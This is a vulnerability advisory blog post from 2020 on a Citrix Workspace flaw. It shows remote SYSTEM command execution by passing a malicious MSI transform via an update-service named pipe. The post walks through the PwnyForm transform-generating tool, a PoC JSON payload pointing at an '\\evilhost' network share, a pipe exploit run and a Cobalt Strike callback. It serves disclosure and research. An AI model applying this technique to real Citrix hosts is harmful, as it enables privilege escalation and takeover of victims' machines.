Blog: Vulnerability Advisory

The Return of Raining SYSTEM Shells with Citrix Workspace app

Ceri Coburn 21 Sep 2020


Back in July I documented a new Citrix Workspace vulnerability that allowed attackers to remotely execute arbitrary commands under the SYSTEM account.  Well after some further investigation on the initial fix I discovered a new vector that quite frankly should not exist at all since the previous reported vulnerability.  The core of the issue lies with a remote command line injection vulnerability that allows attackers to bypass Citrix signed MSI installers using a malicious MSI transform.  You can find the updated Citrix security bulletin here.

The Fix

I won’t dive into too much detail on the named pipe that Citrix Workspace use to trigger software updates from the unprivileged Workspace app as details for this can be found within the original blog post.

So, what did Citrix do to fix the previous vulnerability.  If you remember the JSON payload that was communicated over the pipe, hopefully you will recall the UpdateFileHash attribute that was submitted with the request.

    "MessageType": 1,
    "UpdateFilePath": "c:\\path\\to\\downloaded\\update.exe",
    "UpdateFileHash": "23819ab8d97……03764a34ebf53b002",
    "InstallationTriggerBehavior": 0,
    "CmdLineArguments": "updateargs"

No longer does the service rely on this file hash within the JSON payload to determine if the update should proceed or not.  The service will now directly download the latest update catalogue from the Citrix update servers and cross references the hashes with the file that is requested for install from the UpdateFilePath attribute.

Figure 1. XML Catalogue of the latest Citrix software.

If the update file is signed, valid and the hash of the update file matches one of the files within the manifest, the update file is executed to perform the upgrade.

No efforts were made to prevent remote connectivity to the named pipe to limit the attack surface and the PID spoofing vulnerability was also still present.  I understand that the PID spoofing vector is a tougher one to contend with but personally I think there is no excuse for not modifying the DACL on the named pipe to prevent remote connectivity.

What’s New

For those that have gone through the catalogue XML, you may notice that the catalogue includes executables and MSI files for installation.  MSI files on the other hand cannot be executed in the same way as executable files, therefore the update service must handle these differently.

If we look at the code that handles the launch of the installer, we will find this:

The application checks the extension of the file requested for update over the pipe, and if it ends with msi it is assumed to be a Windows Installer file.  Therefore, the final command executed is adjusted to the following

msiexec.exe /i c:\path\to\requested\update.msi updateargs

As an attacker we know we have control of the filename and path along with the updateargs that are appended to the end of the command line, but since the MSI file is checked for a valid signature and is cross referenced with the current catalogue we cannot install arbitrary MSI files under the attackers control.

So, what can we do?  Before we get into that, lets reverse a little and dive into what an MSI file is.

It’s Just a Database

MSI files are essentially self-contained databases with pre-defined tables inside.  No different to a sqllite database file or an MS Access file.  You can even use the Windows Installer API’s to open the database and query tables using SQL like statements and pull out rows and columns.

The MSI installer system expects certain tables to exist within the MSI file for it to be considered for installation.

Here is a typical MSI file opened within Orca courtesy of Citrix’s RTME MSI installer.

As you can see there are 34 tables in total, all with their own specific purpose within the MSI installer ecosystem.

There are a few tables that we are specifically interested in.  The InstallExecuteSequence/InstallUISequence, Binary and CustomAction table.

InstallExecuteSequence/InstallUISequence tables

These tables control the sequence of actions that are performed during the installation along with conditions to determine if the action will be executed.  The difference between the Execute and UI sequences are privileges.  The UI elements of the sequence are executed prior to modifications being made and after installation has completed, so typically this sequence is executed within the context of the user who ran the installer and is done without elevation (unless already elevated). The execute sequence on the other hand is the installation itself, this part is typically elevated and handles the changes that are being made to the operating system during the install.

Binary table

The binary tables is as the name suggests.  A table of files and their contents which are installed or used during the installation process as helpers.


MSI installers are generally very powerful with built in support for many things.  But on the off chance that the built-in functionality does not support your needs, MSI files can contain custom actions that can be executed as part of the UI/Execute sequence.  Here is a small subset of the various types of custom actions that are supported.

With these 3 tables we can insert behaviour that would allow us to execute custom actions during the installation progress.

Robots in Disguise

“I see were you are going here, but the MSI’s are signed and hashed so we cannot modify it” I hear you say.  Well, another featured supported by the Windows Installer is MSI Transforms.  As the name suggests, MSI transforms support altering or transforming the MSI database in someway prior to installation.  Domain administrators commonly use this feature to push out MSI files within Active Directory environments that do not always work in an unattended way when executed on their own.  For example, an MST might be created that will inject a product activation code prior to installing.

Applying an MST transform is a relatively simple process.  By specifying the path to the transform file on the command line we can merge the main MSI file with changes that are present within the MST file during the installation process.

msiexec /i setup.msi TRANSFORMS=setup.mst

I am sure at this point you have all spotted the vulnerability.  Since we can control the arguments passed to msiexec, we can include the path to a malicious transform but using an official signed Citrix MSI that is present within the catalogue file.

Introducing Pwnyform

Now that we have an attack vector, we need a way to generate MSI transforms.  This can be done using Orca, but in the interest of research I decided to create a new tool called Pwnyform.  Pwnyform is a bot that is part of the Decepticons in charge of producing malicious MSI transforms 😊.  In reality it’s just a poorly written PoC in C# created by me that can be used to generate malicious transforms.

It works by opening the target MSI in read only mode followed by a temporary blank MSI file that is used as the comparison when creating the transform.

If the Binary and CustomAction table is missing from the source MSI it is created inside the temporary MSI file.  And finally, a JScript custom action is added to the CustomAction table along with a record within the InstallUISequence/InstallExecuteSequence table referencing our new custom action.  The content of the JScript custom action looks like this.

The Session variable is created by the MSI framework and allows JScript custom actions to query or modify MSI installation behaviour.  In this case we are querying for the CMD MSI property and executing its contents.  If the CMD property does not exist it falls back to cmd.exe.  MSI properties can also be set on the command line, so our JSON payload will now contain the following.

msiexec /i setup.msi TRANSFORMS=setup.mst CMD=whatever.exe

The added beauty here is that transforms can be loaded over a network share, so this new vector is probably worse than the previous vulnerability as you no longer need to use executables on the victim machine or need to know LOLBIN hashes.

Finally, the tool generates the difference between the target MSI and the temporary MSI producing an MST file.  All this magic is generally handled by the Microsoft.Deployment.WindowsInstaller dependency from the Wix project.


PwnyForm by @_EthicalChaos_
Generates MST transform to inject arbitrary commands/custom actions when installing MSI files

-m, --msi=VALUE MSI file to base transform on (required)
-t, --mst=VALUE MST to generate that includes new custom action (
-s, --sequence=VALUE Which sequence table should inject the custom
action into (UI (default) | Execute)
-o, --order=VALUE Which sequence number to use (defaults 1)
-h, --help Display this help

We first need to download one of the official MSI installers from the most recent catalogue XML from Citrix.  At the time of writing there was a CitrixRTME_2.7.0.2113.msi installer.  Then run PwnyForm to generate our MSI transform.

PwnyForm -m CitrixRTME_2.7.0.2113.msi -t PwnyForm.mst 
PwnyForm by @_EthicalChaos_
Generates MST transform to inject arbitrary commands/custom actions when installing MSI files

[+] Inserting Custom Action into InstallUISequence table using sequence number 1
[+] Generating MST file PwnyForm.mst
[+] Done!

The default behaviour is to install the custom action within the InstallUISequence.  For this vulnerability this will work just fine as msiexec is launched as SYSTEM anyway, so both sequences will execute with the highest privileges.  In other scenarios you might want to consider using the -s argument to install within the InstallExecuteSequence if you require high privileges when your command is executed.

Once our MST is generated, we can place the original MSI installer and the MST onto a network share ready for the victim machine.  Finally, a small modification to the original PoC to update the JSON object that is written to the pipe remotely.

namedPipeMessage = {
        # We want to install an update
        "MessageType": 1,
        # Signed Citrix MSI currently available from the live catalogue
        "UpdateFilePath": "\\\\evilhost\\share\\CitrixRTME_2.7.0.2113.msi",
        # Now ignored
        "UpdateFileHash": "%s" % update_hash,
        # Just execute, not interested in waiting for the result
        "InstallationTriggerBehavior": 1,
        # Command line arguments to pass to msiexec

The last stage is to execute the updated python PoC.  For brevity I have specified the PID for CitrixReceiverUpdater.exe but leaving it out will also brute force the PID.  The pipe can also be relayed to using the updated ntlmrelayx as was demonstrated within the previous blog post.

python3 -pid 41600 [email protected]

[*] Attempting to connect to IPC$
[*] Connected to IPC$
[*] Attempting to connect to Citrix Update Service pipe
[*] Successfully opened pipe
[*] Attempting to send install update command spoofing PID 41600
[*] Write to pipe succeeded, reading response...

All that is needed then is a small wait whilst powershell is executed and connects back to our Cobalt Strike server.

I have published PwnyForm on GitHub if anyone is interesting in taking a look.


Both the local and remote privilege escalation methods can only be exploited while an instance of CitrixReceiverUpdate.exe is running on the victim host as before.  But as I mentioned above, I think the remote vector is easier to exploit this time around since you can place both MSI and MST files on a network share under the attackers control.  I’m not sure why Citrix chose not to close the remote connectivity attack surface, that’s a question only they can answer.


  • 27th July 2020 – Reported issue to Citrix and re-opened CASE-8002
  • 4th August 2020  – Citrix confirmed vulnerability and started working on the fix
  • 20th August 2020 – Citrix informed the release CWA version of Workspace app with fix
  • 8th September 2020 – Citrix release LTSR version without confirmation of release
  • 21st September 2020 – Published